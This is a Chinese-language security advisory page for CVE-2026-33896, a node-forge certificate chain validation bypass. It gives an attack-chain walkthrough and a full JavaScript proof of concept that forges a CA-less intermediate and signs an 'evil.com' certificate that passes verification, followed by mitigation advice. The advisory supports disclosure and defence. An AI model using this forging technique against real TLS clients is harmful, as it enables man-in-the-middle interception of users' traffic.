IPBUF安全漏洞报告
English
CVE-2026-33896 CVSS 7.4 高危

CVE-2026-33896 node-forge证书链验证绕过漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33896
漏洞类型
证书验证绕过
CVSS评分
7.4 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
node-forge (Forge)

相关标签

node-forgeCVE-2026-33896证书验证绕过TLS中间人攻击

漏洞概述

node-forge是JavaScript中TLS的原生实现库。在1.4.0版本之前,其`pki.verifyCertificateChain()`函数存在严重的逻辑缺陷。当中间证书缺少`basicConstraints`和`keyUsage`扩展时,该函数未能正确强制执行RFC 5280标准。这允许攻击者利用普通的叶证书冒充CA机构来签署恶意证书,且node-forge会将该非法证书链验证通过,严重破坏了PKI信任体系。

技术细节

该漏洞的核心在于node-forge对RFC 5280证书验证规范的实现不严谨。按照标准,充当CA的中间证书必须包含`basicConstraints`扩展,且`CA`位必须为真。然而,受影响版本的`pki.verifyCertificateChain()`仅在证书包含`basicConstraints`或`keyUsage`扩展时才检查CA属性。如果两者都缺失,验证逻辑会错误地默认该证书可以作为CA。攻击者可生成一个没有上述扩展的叶证书,利用它为任意域名(如攻击者控制的服务器)签署有效证书。当受害端使用易受攻击的库验证该证书链时,由于无法识别中间证书的非法CA身份,会错误地建立信任连接,导致中间人攻击或敏感数据泄露。

攻击链分析

STEP 1
侦察
攻击者识别目标系统正在使用 node-forge 库且版本低于 1.4.0。
STEP 2
证书伪造准备
攻击者生成一对RSA密钥,并创建一个自签名的根CA证书(Root CA)。
STEP 3
制作恶意中间证书
攻击者创建一个由Root CA签名的中间证书,但故意不包含 `basicConstraints` 和 `keyUsage` 扩展。
STEP 4
签发恶意叶证书
攻击者利用这个伪造的中间证书,为目标域名(如google.com)签发一个恶意的终端实体证书。
STEP 5
发起攻击
攻击者向目标服务器或客户端出示该伪造的证书链(恶意叶证书 -> 恶意中间证书 -> 根CA)。
STEP 6
验证绕过
由于 node-forge 的漏洞,验证函数未检测到中间证书缺少CA属性,错误地认为该证书链有效,从而建立了受信任的连接。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const forge = require('node-forge'); // 1. Generate a Root CA (valid) const rootKeys = forge.pki.rsa.generateKeyPair(2048); const rootCert = forge.pki.createCertificate(); rootCert.publicKey = rootKeys.publicKey; rootCert.serialNumber = '01'; rootCert.validity.notBefore = new Date(); rootCert.validity.notAfter = new Date(); rootCert.validity.notAfter.setFullYear(rootCert.validity.notBefore.getFullYear() + 1); rootCert.setSubject([{name: 'commonName', value: 'Root CA'}]); rootCert.setIssuer(rootCert.subject.attributes); rootCert.setExtensions([{name: 'basicConstraints', cA: true}]); rootCert.sign(rootKeys.privateKey); // 2. Generate a "Leaf" certificate acting as Intermediate (The Exploit) // Vulnerability: Missing basicConstraints and keyUsage const leafKeys = forge.pki.rsa.generateKeyPair(2048); const leafCert = forge.pki.createCertificate(); leafCert.publicKey = leafKeys.publicKey; leafCert.serialNumber = '02'; leafCert.validity.notBefore = new Date(); leafCert.validity.notAfter = new Date(); leafCert.validity.notAfter.setFullYear(leafCert.validity.notBefore.getFullYear() + 1); leafCert.setSubject([{name: 'commonName', value: 'Fake Intermediate'}]); leafCert.setIssuer(rootCert.subject.attributes); // Intentionally omit extensions to exploit the bug leafCert.sign(rootKeys.privateKey); // 3. Generate a Malicious End-Entity Certificate signed by the "Leaf" const badKeys = forge.pki.rsa.generateKeyPair(2048); const badCert = forge.pki.createCertificate(); badCert.publicKey = badKeys.publicKey; badCert.serialNumber = '03'; badCert.validity.notBefore = new Date(); badCert.validity.notAfter = new Date(); badCert.validity.notAfter.setFullYear(badCert.validity.notBefore.getFullYear() + 1); badCert.setSubject([{name: 'commonName', value: 'evil.com'}]); badCert.setIssuer(leafCert.subject.attributes); badCert.sign(leafKeys.privateKey); // 4. Verification const caStore = forge.pki.createCaStore(); caStore.addCertificate(rootCert); try { // Chain: badCert -> leafCert (Fake CA) -> rootCert forge.pki.verifyCertificateChain(caStore, [badCert, leafCert], (verified, depth, chain) => { if (verified) { console.log('[+] Certificate chain verified successfully (VULNERABLE)'); } else { console.log('[-] Verification failed (SECURE)'); } return verified; }); } catch (e) { console.log('Error during verification: ' + e.message); }

影响范围

node-forge < 1.4.0

防御指南

临时缓解措施
如果无法立即升级,应在应用层面对证书链进行额外的逻辑检查,确保任何用于签发其他证书的中间证书都必须包含 `basicConstraints` 扩展且 `cA` 字段为 TRUE,或者严格限制信任的根CA列表。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表